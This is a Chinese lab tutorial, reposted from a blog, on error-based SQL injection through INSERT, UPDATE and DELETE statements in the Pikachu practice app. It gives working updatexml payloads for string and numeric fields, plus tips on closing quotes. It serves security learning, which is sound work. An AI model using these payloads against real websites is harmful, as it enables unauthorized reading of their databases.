自学内容网 自学内容网

Pikachu-Sql Inject-insert/update/delete注入

insert 注入

插入语句

insert into tables values(value1,value2,value3);
如:插入用户表
insert into users (id,name,password) values ('id','username','password');

当点击注册

先判断是否有SQL注入漏洞,经过判断之后发现存在SQL漏洞。构造insert的payload。

insert into users (id,name,password) values ('1'or updatexml(1,concat(0x7e,database()),0),'username','password');

//为了使得左右符号闭合,所以构造的输入payload 是
name' or updatexml(1,concat(0x7e,database()),0) or '

由于插入id 这里有个or 的或运算,所以会执行 updatexml 方法,实现报错注入。

同理,update 注入

update的 SQL语句

update users set passowrd='pass' ;

//构造update 注入语句:注意闭合
update users set passowrd='pass' or updatexml(1,concat(0x7e,database()),0) ;

如构造输入payload

aa' or updatexml(1,concat(0x7e,database()),0) or '

提交,获得数据库名;

基于delete 的报错注入

delete from users where username = 'username' ;

//构造delete 注入语句:注意闭合
delete from users where username = 'username' or updatexml(1,concat(0x7e,database()),0) or '' ;

//字符型
1' or updatexml(1,concat(0x7e,database()),0) or ' 
//数字型
1 or updatexml(1,concat(0x7e,database()),0) 

得到 delete 注入结果

总结:要注意开头部分的and和or,and不行那就改用or,或者用替换符&&(and)和||(or),其次是闭合的方式不只有#和--+,还有or' 


原文地址:https://blog.csdn.net/guanrongl/article/details/142695863

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!